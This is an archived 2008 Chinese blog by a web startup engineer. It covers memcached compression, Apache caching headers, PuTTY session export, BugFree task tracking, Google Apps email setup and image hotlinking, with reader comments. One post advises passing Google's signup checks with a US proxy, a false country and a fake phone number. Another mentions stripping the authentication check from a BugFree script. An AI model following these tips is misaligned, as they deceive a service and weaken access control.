目前搜集到的一些监控网站和功能： http://www.uptime.com.cn/ 有超时报警（免费1个域名）； http://17cdn.com/ 有分省，分服务商和按时间的CDN统计功能（3个域名）

国外的：试用过iptonic: http://site24x7.com： http://internetsupervision.com/：免费15天，之后会降低监控频率到1天一次； http://www.gomez.com/ WebPerform：有中文版

最后选定是：基调网络的带宽检测服务；

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

肖德时 · 2008-07-10 16:55

我的经验是这样：自已在服务器端安装比如 nagios单机监控图形工具，并编写辅助的通知函数到mail,sms,im。有了日志就有了提示，可以方便知道服务器到底断了多长时间。如果再细一点，发送的邮件信息，可以使用脚本作定期的汇总出报表，这个各家需求不一样，需要定制。IDC方面，一般都会配有监控，他们对中断时间都会很清楚，但不会告知用户的可能性很大。就北京而言。

王永林 · 2008-07-25 01:21

提供国内商业服务第一名的当属基调网络，我们用的就是他们的服务，特别是CDN监测，非常准确。

Gomez啥呀，数据太不准确了，而且服务器在美国，碰到重要事件访问都访问不了，自己的网站都监测不了，还监控别人的呢。

鱼小猫 · 2008-07-28 16:47

目前比较小的网站基本用不起国外的监测服务，价格比较贵。

国外有名的监测厂商有keynote(www.keynote.com)和gomez(www.gomez.com) 但他们在中国的监测点都比较少。

国内有基调网络(www.networkbench.com)，发展迅速，是新浪腾讯人民网等网站的监控服务商。

如果自己各地有服务器，可以自己写一些脚本，安装到几个服务器上，我目前就是自己写脚本，然后通过飞信免费发短信来监测

aver · 2009-09-23 13:01

山寨技术交流会：博客大巴 / VeryCD / 客齐集 / 联络家 / CDNUnion

Thu, 15 May 2008 08:23:47 +0800

上周末在博客大巴邀请了上海几家StartUp公司的朋友做了一次技术交流：VeryCD的科学家们，客齐集，联络家，CDNUnion，安居客和Sun的Startup解决方案专家；

主题1：动态内容的CDN缓存 结论，目前CDN缓存仍然以静态内容为主，动态页面缓存过期/更新策略较复杂；而CDN有purge接口，但现在实际应用较少：更多缓存服务是为内容永不更新的图片、视频等服务；此外，固态盘代替逐步内存的可能性近期还没有，固态硬盘的仍然价格非常高，I/O的速度也是问题；

主题2： Memcached的使用 所有网站都用了Memcached，并通过避免对数据库的连接而大大提高了性能（命中率一般在90%以上）；

关于：多memcached的分布策略；客齐集规模：在多台前端应用服务器上划出一定空间，分布规则：使用的是memcached addserver方式由memcache自己进行缓存分布；单点失败处理：遇到个别节点中断会retry；博客大巴和VeryCD应用类似：规模：几十G（单个2G）；分布规则：都是自己应用设置设置缓存分布规则，对数据进行分布，单点失败处理：如果遇到Memcached中断并不尝试其他服务器；

关于memcache的压缩： PHP客户端可以设置压缩外， server端也有更详细的压缩配置选项（memcached的文档中有？）；关于memcached的扩展性：最新版本有考虑consistent hash（在扩展服务节点后，旧内容仍然再旧服务器上，不用按重新按新的分布规则生成新缓存） memcached： bin模式存储；

对于缓存对象：大的List列表页对象用memcache缓存对效率提升很重要；

主题3： Start up公司的招聘来源 客齐集的校园招聘成果还是让其他公司非常的眼红，另外说一句：我们仍然在招前端应用开发人员（欢迎应届生）：有优秀的开发人员，各个Startup公司之间都是可以推荐的（VeryCD的51job招聘广告就是托管在博客大巴的），以后还会不定期做一些交流。

主题4：版本控制，文档管理和任务跟踪 大家讨论的主要是， svn的分支合并问题，除了SVN外，也在尝试Hg git等工具； branch管理辅助工具： svn-merge.py，而svn的使用也分成2套风格：尽可能的分支(verycd)，和尽量避免分支（kijiji/blogbus）

blogbus：文档使用mediawiki；BugFree项目跟踪； trunk: 大部分修改 tag: 发布时使用switch tag；少量branch:

linkist：文档：混合 trac + svn log branch： trunk 用于开发 stagging：用于测试 tag

安居客： email 文档； BugFree跟踪； trunk：开发测试； main：发布测试；

verycd：trac：文档+跟踪； branch 大量的branch 用于开发； trunk 用于发布

[AD] “我不是一个塑料袋” 博客大巴环保袋设计大赛一等奖为MacBook Air + 5000￥

Tue, 22 Apr 2008 21:17:27 +0800

“我不是塑料袋”是一个很有趣的设计创意： I’m not a plastic bag

此次我不是塑料袋：环保袋设计大赛活动的奖品为：评委会奖(1名)：MacBook Air + 5000元现金 ( 歌手Yael Naim的那首《New Soul》你每天在电梯中都会听到多次吧？ ) 独树一帜奖(2名)：价值5000元以上的尼康D60单反相机1台 + 5000元现金不拘一格奖(2名)：价值2000元以上的多普达S1手机1台 + 5000元现金

奖品涉及到的个人所得税由获奖人自理
所有参加投票的网友均有机会抽取100名参与奖： BlogBus明信片一套50套触动传媒提供小礼品50个

请对作品进行至少100字的描述。如果您的作品上传失败或没有显示，可能是： 1、您的作品正在审核中； 2、您的作品大小超过500K； 3、您的设计理念描述不足100字； 4、您的作品未符合要求；请注意： 1、环保袋大小为：高38cm宽30cm ； 2、创意无限，色彩明快、简洁（不含底色，限2-4色以内），为了能够让更多的人喜欢将环保袋带在身边，设计稿最好能够凸现时尚； 3、图片质量高于800404pix，300dpi，jpg格式最高上限500K大小； 4、我们征集的是环保袋的设计稿而非其它制作流程描述； 5、重复提交作品只会显示一个；

我的作品：我是一个档案袋![](http://zhuanti.blogbus.com/bag/bags/13610_1210165276.jpg)

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

xLight · 2008-04-23 18:06

俺们电梯小，没有这么高级的广告

ksjinlcds · 2008-05-17 12:12

大赛什么时候结束

alex · 2008-06-21 08:55

我对环保图案非常有兴趣~~但是我怎么才能看到设计者的作品、或者是给我个连接、或者能否与你联系~~请把联系方式发送至我的E-mail..谢谢

袁伟良 · 2008-07-01 21:00

您好！我想请问一下，这个设计大赛什么时候结束，我们的作品发到那参选啊！！

启用MEMCACHE_COMPRESSED压缩，“扩容”MemCached

Sun, 13 Apr 2008 21:55:29 +0800

尝试：启用了PHP memcache_set()函数中的 MEMCACHE_COMPRESSED压缩选项，而memcache_get()可以在后续读取过程中自动对压缩的缓存对象进行解压缩。

效果：测试了一下，对于博客大巴目前的应用来说，启用压缩后，相同的容量（2G）存储的对象数量增加了约一倍，缓存命中率从50%左右，提高到了60%左右。进一步提高命中率硬件投入还是必须的，又增加了2倍的内存后终于做到了缓存命中率提高到90%；

前提0：内存缓存有用，且命中率值得提升；从60%提高到90%，还是从90%提高到95%，要看hit后的性能能够提升是否值得；

前提1：MemCached已经用满先用memcached-tool查看一下memcached的容量统计，看memcached是不是已经用满了。如果充分运行时MemCached的空间尚未用满，启用一下压缩是没有意义的；而且：发现没有用满的MemCached，最好减少相应MemCached的容量，空余出更多内存给其他服务做缓存；

前提2：压缩率缓存的数据的确有大于几百字节的，如果都是小于100字节的键值对，压缩可能反而带来膨胀。由于缓存对象的大小在Memcached中都是按照固定大小分块存储的，最小也要88 B。所以对于过小数据带来的压缩膨胀并不是太大的问题；

前台应用的CPU损耗：对数据的额外压缩CPU损耗远远低于缓存命中率提升减少后台数据库访问带来的性能提升，和http的gzip/deflate压缩类似，压缩后数据一般为原数据大小的30%左右，节省了70%的传输性能消耗所得会大于文件压缩带来的性能损耗；

以下是启用压缩后的一个MemCached的数据块分布：

# Item_Size Max_age 1MB_pages Count Full? 1 104 B 342694 s 60 604918 yes<==原先最小大部分分布在88 B看来还是有些膨胀的 2 136 B 344213 s 39 300690 yes 3 176 B 324647 s 145 863765 yes 4 224 B 347049 s 52 243412 yes 5 280 B 332911 s 47 175968 yes 6 352 B 257080 s 114 339491 yes 7 440 B 330976 s 39 92934 yes 8 552 B 310225 s 51 96849 yes 9 696 B 305251 s 68 102407 yes 10 872 B 298607 s 74 88947 yes 11 1.1 kB 276463 s 70 66919 yes 12 1.3 kB 279819 s 79 60198 yes 13 1.7 kB 293690 s 97 59073 yes 14 2.1 kB 304436 s 116 56492 yes 15 2.6 kB 298020 s 102 39576 yes 16 3.3 kB 324546 s 100 31000 yes 17 4.1 kB 321757 s 97 24056 yes 18 5.2 kB 320132 s 91 18018 yes 19 6.4 kB 332232 s 89 14062 yes 20 8.1 kB 330696 s 81 10287 yes 21 10.1 kB 329582 s 76 7676 yes 22 12.6 kB 337278 s 72 5832 yes 23 15.8 kB 348626 s 66 4224 yes 24 19.7 kB 345881 s 56 2856 yes 25 24.6 kB 345825 s 44 1804 yes 26 30.8 kB 333460 s 31 1023 yes 27 38.5 kB 335782 s 22 572 yes 28 48.1 kB 302109 s 17 357 yes 29 60.2 kB 358674 s 18 306 yes 30 75.2 kB 396573 s 17 221 yes 31 94.0 kB 431605 s 11 110 yes 32 117.5 kB 418652 s 7 56 yes 33 146.9 kB 408422 s 3 17 no 34 183.6 kB 277529 s 2 7 no 35 229.5 kB 139156 s 1 3 no 36 286.9 kB 232221 s 1 1 no 37 358.6 kB 1059 s 3 6 yes

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

利用Header机制隐掉Vary，提高mod_cache缓存的命中率

Sat, 12 Apr 2008 09:07:23 +0800

HTTP 1.1的规范建议所有的请求输出都包含Vary Header，目的是针对对前端缓存服务器，增加针对Vary制定的各种Header类型进行不同的缓存处理，在浏览器规格复杂的情况下，不利于缓存的命中，所以要在被缓存的服务器上设置：

Header unset Vary

问题是这样被发现的：最近使用Apache 2.2的内存缓存mod_mem_cache机制进行后台静态文件加速。但是总是发现几乎是只代理而不缓存，而内存缓存模式又没有统计工具查看缓存内容和命中率。转为用mod_disk_cache后，前端缓存目录空间增加非常快，以至于经常需要删除文件，而删除文件的I/O损失超过了直接访问后台访问的加速所得。后台明明只有几M模板图片和CSS文件，为什么缓存空间上G而且命中率那么低呢？查看了一下缓存目录下的文件，Apache的前端磁盘缓存就会根据浏览器除了针对内容的.data文件和.header文件外还有一个.vary目录，而这个vary目录下又会按照顶级的cache规则再mapping出2级目录来，目录节点个数过多造成磁盘空间的浪费：

a/b/Jqyw8OvBIlgaef7Zb8lQ.data a/b/Jqyw8OvBIlgaef7Zb8lQ.header a/b/Jqyw8OvBIlgaef7Zb8lQ.header.vary/a/b

当遇到和原有Vary不同的Header时，会在 header.vary目录下生成更多的缓存；从Apache的讨论组上看原因就是[IE的AcceptEncoding请求头信息里增加了一个空格](http://archive.netbsd.se/?ml=apache-httpd-dev&a=2007-09&t=5183550)；

IE : Accept-Encoding: gzip, deflate Firefox: Accept-Encoding: gzip,deflate

于是按照Fernando的方法，将后台的Vary Header禁掉了。缓存空间立刻停止了增长（还是个别有header.vary目录出现）。

另外一个配置优化是不要启用后台的Expires Header；

ExpiresActive off

由前端的Cache服务器设置缓存规则，基本上到后台的访问就很少了；

记录一个调试缓存缓存用命令行看Header输出的方法：用curl -I 查看HTTP头信息；查看缓存后输出结果： curl -I http://www.example.com/foo.bar 查看缓存前的服务器输出： curl -I -H “Host: www.example.com” http://ip.address.of.example/foo.bar

[chedong]$ curl -I -H "Host: public.[blogbus.com](http://blogbus.com)" http://192.168.1.17/rss/xianguo.png HTTP/1.1 200 OK Date: Sat, 12 Apr 2008 07:09:51 GMT Server: Apache Last-Modified: Mon, 28 Jan 2008 03:34:55 GMT Accept-Ranges: bytes Content-Length: 1353 Content-Type: image/png
[chedong]$ curl -I http://public.blogbus.com/rss/xianguo.png HTTP/1.1 200 OK Date: Sat, 12 Apr 2008 07:10:01 GMT Server: Apache/2.2.8 (Unix) Last-Modified: Mon, 28 Jan 2008 03:34:55 GMT Accept-Ranges: bytes Content-Length: 1353 Cache-Control: max-age=20736000 Expires: Mon, 08 Dec 2008 06:27:41 GMT Node: B01-AD-01 Age: 2540 Content-Type: image/png

[博客大巴招聘] PHP程序员，工作地点在上海欢迎大学生暑期实习

Thu, 27 Mar 2008 14:32:11 +0800

纯技术人员工种，需要撰写代码，这确实是个体力活，所以我们需要您比较年轻。但我们一样需要您有至少一年的网站开发的工作经验（学生时代自己摆弄建站亦可），曾经独立开发过某个项目（或者是主要成员）。我们需要您有在LAMP平台上纯熟的工作经验，可以基于SVN和其他开发人员进行协同开发，能够直接投入到独立开发工作之中。如果您曾经开发过/Hack过Blog系统，那是会得到加分的。技术能力当然很重要，但我们更看重您的学习和钻研能力。

简历请寄到：[job@blogbus.com](mailto: job@blogbus.com)，最好附上以前项目的主要项目开发经历：使用的软件包/框架/类库等；以及你对加入博客大巴十大要求的理解；面试时间一般是每周四下午，公司的具体地址是：上海市徐汇区龙华路2577号5号楼。

如果你在实习：可以考虑以下这个题目（一个月内学习并完成）一个每天十万级访问的RSS阅读器（每秒2处理完成个请求）；用户数量1万人，每人平均有20个RSS（每个人有5-100个RSS） FEED（总计有10万个不同RSS，想办法从google blogsearch上搜集一下）；更新频度：所有FEED平均每天至少2次，其中热门FEED每小时同步一次（占5%）；估算一下存储量，访问速度和RSS解析（SimplePie）的容错问题等。

基于LAMP平台+MemCached ，目前我们的PHP开发编辑器是： Komodo Edit 服务器端直接用vim编辑；版本控制是Subversion/SVN和Windows客户端 TortoiseSVN Windows下的远程登录是PuTTY

大部分操作都是在Linux命令行下操作，所以awk / perl/ grep之类的需要能够熟练到代替简单的过滤排序等SQL操作；

另外：我们这里有只爱吃猫粮的狗。

2008-07-16 更新：最近连续有多位应届毕业生在大巴招聘过程中最终失利，看来对于大部分学生来说，从大三开始尝试暑期实习也许是一个更好的选择。

💬 历史评论

以下 10 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

阿福 · 2008-03-27 17:01

顶一下,在你写的日记下我学到不少东西,sige,lucene之类!可惜不在北京

xjb · 2008-03-27 17:56

CTO招兵买马了，恭喜。

sleetdrop · 2008-03-27 18:14

那条狗… 会不会比码农吃的好?

Ryan · 2008-03-28 14:38

怎么博客大巴上不能注册了？

georgexsh · 2008-03-28 23:29

我投了，不知道收到没有

rooob · 2008-04-13 16:49

可惜不在北京。。。。

个篱 · 2008-04-16 16:34

BugFree的使用：开发过程的量化统计工具

Thu, 13 Mar 2008 22:10:03 +0800

上海互联网同行经常能有一些很务实交流，比如：VeryCD向博客大巴介绍过Google的免费企业邮箱的注册方法和CDN服务商，而同客齐集的交流中我向王建硕请教过：微软是如何量化开发人员的工作饱和度，评估开发人员的工作效率并鼓励开发者按时完成任务的？从后来通过对BugFree这套系统的使用交流中了解了一些考核机制在任务跟踪系统中影响这些因素的方法。

如果说GTD是一个人的目标管理，那么任务跟踪系统就是帮助实现团队的目标管理：而且一件事情同时被多个人跟踪，还是非常有助于减少任务的被跟“丢”几率的，一个任务的角色有任务的创建者（甲方）和任务执行者（乙方）两个角色；而开发团队一般会有3个角色来进行任务的跟踪，项目的发起者（产品经理），项目的执行者（开发人员），项目的确认（测试人员），而一个任务按照进行中，完成确认，关闭这几个状态，也有发起时间（创建者），解决时间（执行者），完成确认时间（创建者）这几个关键时间点，利用这几个时间因素结合创建人，创建原因等因素，通过BugFree的查询生成器可以完成很丰富的开发过程指标统计甚至完成一些初步的KPI考核指标统计；

开发人员的工作饱和度 就是简单的任务量累计，按照每个需求的预算时间进行累加，比较开发人员的工作时间；

任务的平均关闭时间 总工作时间 ÷ 关闭的任务数，用于评估开发人员的工作效率； 1 开发人员不要将手边积累过多的任务，从而让大量的任务处于等待状态； 2 开发人员会要求需求人员尽量将任务分解：不要有超过2天的任务，便于及时的确认进展； 3 开发人员完成任务后主动告知需求人员，尽快确认完成并关闭任务；

项目响应速度 项目无更新时间不得超过一定时间（比如： 24小时），就是统计：项目状态不等于关闭，最后更新时间相比现在大于24小时的任务，每天统计：被发现就要发出警告相应项目的执行者；即使项目没有完成，也要通过编辑项目向项目的发起者进行反馈，避免任务被长期无响应状态；

为此：项目的开发者还需要遵循以下规则； 1 跟踪系统本身只是用于备忘和时间的统计，任务完成还是需要同事间直接（最好是面对面的）交流； 2 项目的执行方不能关闭任务，只能由创建者关闭； 3 执行者另外需要其他开发人员帮助的时候，需要开启新的任务作为咨询； 4 任务类型只计算新增需求，旧需求的错误修正，不计算为工作时间；

设计以上的规则的目的是：开发者：作为任务的执行者在任务启动后应及时的解决并要求创建者关闭任务，开发者会尽可能多和任务的创建者沟通，尽可能在项目进入任务跟踪前将项目的需求细化并在完成后及时提交测试并关闭，从而达到满足工作工作饱和度的同时，减少单项目完成时间指标；需求人员：细化需求合理估算工时避免返工，因为项目的执行者是不用对项目需求的合理性负责的，按时开发完毕后因为需求设计错误为开发者计入工作时间，让需求的提出者（产品经理）成为项目风险的承担者，从而避免产品经理即无责任也无权利的状态；

此外：什么指标可以体现开发者除了完成任务本身外还在不断找新方法提高效率呢？

补充介绍：关于BugFree BugFree是先后由刘振飞、王春生、李玉鹏、刘立川等人从2004年开始开发的一个基于Web的精简版缺陷管理系统：借鉴了微软公司软件研发管理理念、将测试用例(Test Case)到测试结果(Test Result)到缺陷(Bug)，三者有机的结合起来并在同一个系统中进行管理。免费下载且开放源代码，是目前“克隆”微软内部Bug管理工具Product Stuido（以前叫Raid）的最成功的系统。相比BugZilla(Perl+MySQL，原先雅虎内部使用)Bug跟踪系统，BugFree的安装，维护和使用都方便了很多。经过了几年的不断改进，最近发布了BugFree 2.0版本。

BugFree的简单界面修改： BugFree原有很多信息都是必填的，可以通过修改lang/下相应语言版本的_COMMON.php文件，修改缺省选项和一些自定义字段，我在实际使用中就将：缺省的需求类型都设置为了新增需求，版本号变成了预估开发时间(h)和实际完成时间(h)字段，单位都是小时；

对BugFree一些建议： 1 后台统计用的是flash，反而不利于导出到其他应用中：最好是提供XML和CSV接口提供给其他程序调用； 2 周期性的任务能否作成定期启动；
3 Case.php似乎还没有调好权限认证部分就发布了，我修改了一下，把权限认证部分的去掉了； 4 导航栏中的Bug, Test Case, Test Result在语言配置文件中还不能修改，我手工修改成了：项目，需求，期望值；将我的修改配置附后：点击下载文件供参考。

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

各种社交网站的入口dashboard比较

Sun, 24 Feb 2008 14:21:11 +0800

“找到任何事，沟通所有人”，一直是用户上网最基本的2个需求。找到任何事皆本上是由通用搜索引擎解决了，很多新出现的社交网络都在努力成为“沟通所有人”这样的一个中心。和传统的邮件/IM等服务不同，新出现的很多社交网络服务都越来越像一个开放的订阅中心演变，在这里可以看到你关心的朋友最新消息：谁发起了什么活动；谁推荐了有趣的视频，谁写了blog等等；所以先上邮箱收邮件，后到facebook看看最近有什么通知已经成为了很多美国大学生习惯的一部分；而在这个服务中，首页dashboard是最重要的入口，以下是一些此类服务的首页dashboard截图： facebook的dashboard：支持的应用很多，如果联系人都相互认识就能找到每天必看的理由；

spaces.live.com的dashboard：只有Live系列服务的更新

PLAXO：最近推出了pulse服务，包含群组等服务，plaxo最早是作为邮箱联系人管理服务商出现的；

这些社交网络平台的一些特点： 1 都有基于电子邮箱/IM的导入联系人的功能：可以充分利用原有在邮箱服务和IM中积累的社交联系，而且传播速度更快； 2 大部分都支持基于RSS/API应用的内容导入入口，这样可以方便的将用户在其他平台上积累的内容导入过来；

a34dbdcad88bffd951d272c49ab730a2 for blogbus

这样的订阅中心也会遇到一些问题： 1 如何方便的只显示你关心的朋友更新：在雅虎360的入口页面也是你所有朋友的最新内容更新+3个扩展内容（RSS）一个人一天之内只POST一件事情就够了，如果个别人发送的通知太多，很容易将其他人的消息，最好能将同类消息（如：加为好友请求）或者同一个人的多条消息进行类聚； 2 twitter/饭否等及时状态更新等造成的低质量信息泛滥也比较严重，消息的类型最好能按照消息的长度/质量等做一个分级过滤； 3 还有就是内容的推送最好是原创的：至少要经过其他人手工点击推荐的，否则为什么不直接去新闻中心看呢？

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

黑传说 · 2008-02-24 11:27

呵呵，很可惜，支持email或im联系人导入，在中国行不通！被人做烂了

troy · 2008-02-25 09:28

为什么没有国内的？

Oliver 小容 · 2008-02-25 13:47

Linkist已经有这样的dashboard了，而即将正式发布的netvibes Ginger也会有这样的功能。

elephi · 2008-04-01 10:12

Hi，你中间用的一个图有不妥内容，赶快换一个吧。谁要咱们国内这么敏感呢。

我没入party · 2008-10-07 14:41

那图果然极为不妥,很不悦!

bill · 2009-04-07 20:33

请问博主你有什么图片处理工具，处理的图片如此漂亮

PuTTY使用笔记：登录设置的批量备份导出/导入

Tue, 19 Feb 2008 16:57:50 +0800

Putty是最常用的远程登录工具和加密代理访问工具等，管理很多台服务器的时就有很多登录配置，当换机器的时候就成了一个问题。今天系统管理员告诉我了一招，在Windows的命令行下运行：

REG EXPORT HKEY_CURRENT_USER\Software\SimonTatham SESSION.REG

然后在其他机器上导入注册表信息： SESSION.REG即可。

这个注册表文件还可以用来批量修改缺省配置，比如要把字符集缺省改成UTF-8，用文本编辑器打开SESSION.REG，批量查找一下：

"LineCodePage"="" 替换为： "LineCodePage"="UTF-8"

2008-02-20更新：还可以用： Portable PuTTY: socialistsushi.com/portaputty

2008-05-09更新：删除旧配置： REG DELETE HKEY_CURRENT_USER\Software\SimonTatham /f

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

est · 2008-02-19 22:12

有portable版本，把所有设置保存在当前 ./putty 目录下

JavaChen · 2008-02-20 00:18

其实还有个办法，下载PuTTY File 0.60cn 中文版，地址：http://gro.clinux.org/frs/download.php/2003/puttyfile_0.60cn.zip，介绍：该修改版会话配置信息是保存在 PuTTY 当前子目录下的独立文件中，可以将 PuTTY 直接放入 U 盘中携带，而不用担心配置只能存储在单一电脑的注册表中，重装系统也不会丢失会话配置内容。相关补丁来自于 http://jakub.kotrla.net/putty/ （配置文件名中文支持略有问题，但丝毫不影响使用）。我自己用过一段时间，发现确实很方便。原文地址：http://wrc.gro.clinux.org/putty/

daafoo · 2008-04-07 10:37

chedong果然偏爱命令行。其实打开注册表找到HKEY_CURRENT_USER\Software\SimonTatham后(或者搜索putty)，右键导出文件就可以了。不用记忆和敲一堆命令的。

ganjy · 2010-08-24 17:07

哎，最后一个用注册表的方法实太好用了。多谢多谢

免费企业邮箱： Google app企业邮局的申请

Mon, 04 Feb 2008 13:56:37 +0800

很多个人的创业公司都是使用免费的GoogleMail作为员工邮箱（现在已经可以直接免费申请，不用邀请了）；稍微大一些的，则可以自己的公司邮件系统托管在了Google的企业应用套件平台上：免费版就包括了支持数百帐号的6G邮箱（含邮件列表），在线日历，现在文档共享等功能，而且邮箱的帐号是可以绑定GTalk IM服务的。最常见的问题是如何申请：从中文界面到了第二步填写信息的时候，总是会提示你选择的国家（中国）“Google 企业应用套件目前不支持该国家/地区的域名。”

这里有个问题：最重要的是要通过美国的代理服务器访问； 1 申请的域名必须是.com域名的邮箱：如果有.cn com.cn域名需要申请，可以先申请一个.com域名的，然后设置另外的.cn .com.cn域名为相应的.com域名的别名即可； 2 申请的国家填写美国：注册页面是有IP对应国家的校验的，所以要通过美国的代理服务器填写注册页面才能提交通过； 3 电话号码填写一个合法的美国电话号码：555 222-2222；

注册后： 1 会有域名拥有者校验：在网站根域名的目录下，上传一个带有校验码的googlehostedservice.html文件； 2 域名MX记录修改等，基本上按照提示修改即可

ASPMX.L.GOOGLE.COM. 10 ALT1.ASPMX.L.GOOGLE.COM. 20 ALT2.ASPMX.L.GOOGLE.COM. 30 ASPMX2.GOOGLEMAIL.COM. 40 ASPMX3.GOOGLEMAIL.COM. 50 ASPMX4.GOOGLEMAIL.COM. 60 ASPMX5.GOOGLEMAIL.COM. 70

在博客大巴具体使用下来的优缺点附后……

优点： 1 Google的垃圾邮件处理还是非常好的，能给中小企业节省不少相应的成本； 2 GTalk是一个发送内容长度上限比传统IM高的多的IM服务； 3 Google Doc的在线共享，在线编辑基本上还不太靠谱，可以考虑和金山WPS免费版结合使用； 4 日历现在基本上是作为开发人员的工作备忘使用：重要约会/会议可以通过绑定免费短信通知，也是一个很有用的亮点；

缺点：主要的风险是 1 不可预期的阻尼； 2 海缆的中断；

为了避免邮箱遇到阻尼，需要鼓励使用者优先考虑https协议访问相应服务，比如：邮箱服务的入口：https://mail.google.com/a/chedong.com/ 日历服务的入口：https://www.google.com/calendar/hosted/chedong.com/ 文档服务的入口：https://docs.google.com/a/chedong.com/

而光缆中断就没有办法了，请在国内找其他家邮件服务商，做应急的备份。

💬 历史评论

以下 44 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

blueonline · 2008-02-05 21:14

邮箱中显示图片的显示安全风险：自己的信箱地址不可以信任

Sun, 03 Feb 2008 19:43:10 +0800

今天收到一封垃圾邮件：但是在GMail中居然直接就显示了邮件中的图片。我手工标记垃圾邮件后很奇怪：为什么GMail对一封垃圾邮件未经就允许显示图片了呢？

后来看了邮件的信息发现：这个垃圾制造者的发信人写的地址是我的邮箱地址。利用了GMail等很多邮箱的可信任邮件地址的机制，每个人的可信任发件人列表都不一样，但邮箱主人自己很有可能给自己发过邮件（比如用于备份照片之类的）。所以声称发信人是你自己的时候：就有很大概率是可以显示图片，于是图片请求就被发出了，同时发送给spammer服务的还有你的浏览器信息，来源地址（mail.google.com）等；

最近看到了一些关于Google Account的潜在XSS风险的报道，其实任何一家的服务，安全风险都是存在的，关键的问题是当你对一个服务或者帐号产生很大依赖的时候，进行一次丢失密码的演习还是非常有必要的。Google account可以通过邮箱安全问题和备用邮箱找回忘记的密码，但是被盗的确就比较麻烦了。

防止丢失钱包的一个办法就是模拟一下自己丢了钱包后能否立刻找到相应的备份而自己的生活不会受到太大的影响，这就是备份的作用吧……

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ShiningRay · 2008-02-03 22:10

防止丢失钱包的一个办法就是模拟一下自己丢了钱包后能否立刻找到相应的备份而自己的生活不会受到太大的影响，这就是备份的作用吧……

这个代价太大了，丢个邮箱怎么能与之相提并论？

而且这样演习一下也要花相当大的精力

Brick · 2008-02-04 19:46

恐怕没那么简单，发信地址验证是一个邮件服务器的垃圾邮件过滤最基本的功能，现在基本不存在匿名转发服务器了，可以看作点对点，如果发件人是本邮件服务器后缀的，应该会验证其SMTP端口的IP，以及一系列相关策略验证其合法性，IP对不上根本进不来，发SPAM的应该是研究出Gmail的G点了罢…

Jack · 2010-04-13 12:41

今天收到了一封自己的雅虎邮箱发来的邮件，看到其实是由一个163邮箱代发的。不知道是不是账号被盗了

Joy Neop · 2013-02-05 18:28

@ShiningRay 丢邮箱的代价更大吧。。。

FlickR如何控制外站的引用（图片盗链）

Mon, 21 Jan 2008 01:56:25 +0800

下午参加了UCDChina上海书友会的活动，也谈到了图片服务的防盗链问题。Hanson发过一篇牢骚：门户网站的blog服务大部分都是禁止其他网站引用上传图片的，而最近国内专业的图片管理网站又拍也限制了图片的外链访问。从图片的hosting网站来说：由于存储设备和存储机制的改进，图片存储一般不是太高的成本。主要的成本在于带宽：而很多盗链（寄生）网站经常利用免费服务存储一些色情图片，这些内容的流量非常大，如果不及时控制的话，非常容易形成破窗效应从而导致免费服务的成本失控。同样是个人图片管理网站： FlickR是如何对图片流量进行成本控制的呢？

技术保障： 1 有基于用户帐号的月度流量控制。免费用户一个日历月的流量以前是有上限的20G（现在没了），上传文件的空间上限是20M（现在是100M）； 2 FlickR的缺省供免费用户共享的图片大部分是较小幅面的缩略图：幅面一般在400像素以下，文件大小只有几k到几十k；收费用户才可以从外站引用原幅面的图； 3 用户帐户注册是要有邮箱校验的激活机制，防止自动/机器大量注册免费帐号；

用户协议上： 1 如果发现免费用户使用非原创内容，flickr是有理由删除内容并停用帐号的； 2 Flickr在对外共享图片的时候：是要求加上链接指向原图（在FlickR上的）地址的，并且为图片插入很多Blog系统提供的API支持；

所以对于外部引用图片这个问题，以道德好坏来评判门户有些偏颇，如何区别恶意的图片盗链和正常的网站内容引用是各家网站都面临的一个问题。需要的是从技术协助改进规则制度上的不足，如何发现有更建设性的过滤机制，是开发人员更需要关心的。博客大巴也逐渐严格了图片的外站访问，甚至能够发现不少迅雷，快车这样的下载工具不仅模拟IE浏览器，而且还用referer模拟图片所在服务器的上级目录，所以防盗链还是需要开发人员多想想的： 1 如果对免费账号的流量进行比较实时的监控：因为现在很多文件服务都需要CDN进行分流，如何将分散在CDN的各个文件流量日志搜集并半实时统计就是一个问题； 2 如何方便的对上传图片的内容进行版权甄别也是可以做一些简单的方便人工审核的工具；

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

且听枫吟 · 2008-01-21 07:09

从某个角度来说，将图片保存在图片服务商处是一种分散风险的方式

只可惜国内垃圾站远远多于正常认真作站的数量

JunChen · 2008-01-21 09:12

sigh, 由于时间关系正好没赶上

lokr · 2008-01-25 21:47

不知道 Picasa是否有这些麻烦的东西

小虎 · 2011-04-07 12:06

“有照片”相册免费的淘宝外链相册用起来高速稳定安全是我至今用的最好用的一款。

GMail的常用搜索命令： is:unread in:spam

Sat, 19 Jan 2008 19:12:34 +0800

备忘一下：下面搜索选项需要在高级搜索中从下拉菜单中选择的。滤出所有未读邮件：

is:unread

在垃圾邮件中找找有没有被误删的文件：

in:spam 车东

另外还有根据发件人查找等，在高级搜索中都可以比较方便的输入。GMail的高级搜索选项的完整列表：请参考GMail帮助。

从去年开始，公司的工作邮件系统已经全部转到的了Google的企业应用套件上：邮件+日历+在线文档共享的组合还是比较方便的，同时还有了一套基于GTalk的内部IM。尤其是对于初创的小团队来说，使用Google App作为邮件管理系统：还是节省了不少防垃圾邮件的维护成本。

而使用Google App的主要的风险是不可抗因素导致的国外网络无法访问和阻尼。

svn diff版本如何忽略空格

Wed, 09 Jan 2008 00:10:39 +0800

最近才了解并开始使用svn ，其实和cvs的操作还是略有一些差别的。cvs其实很多功能是rcs和其他一些系统命令的组合；svn中的diff 如何忽略空格，就不像cvs diff -b一样能忽略空格来比较文件的差别。而svn help说的：

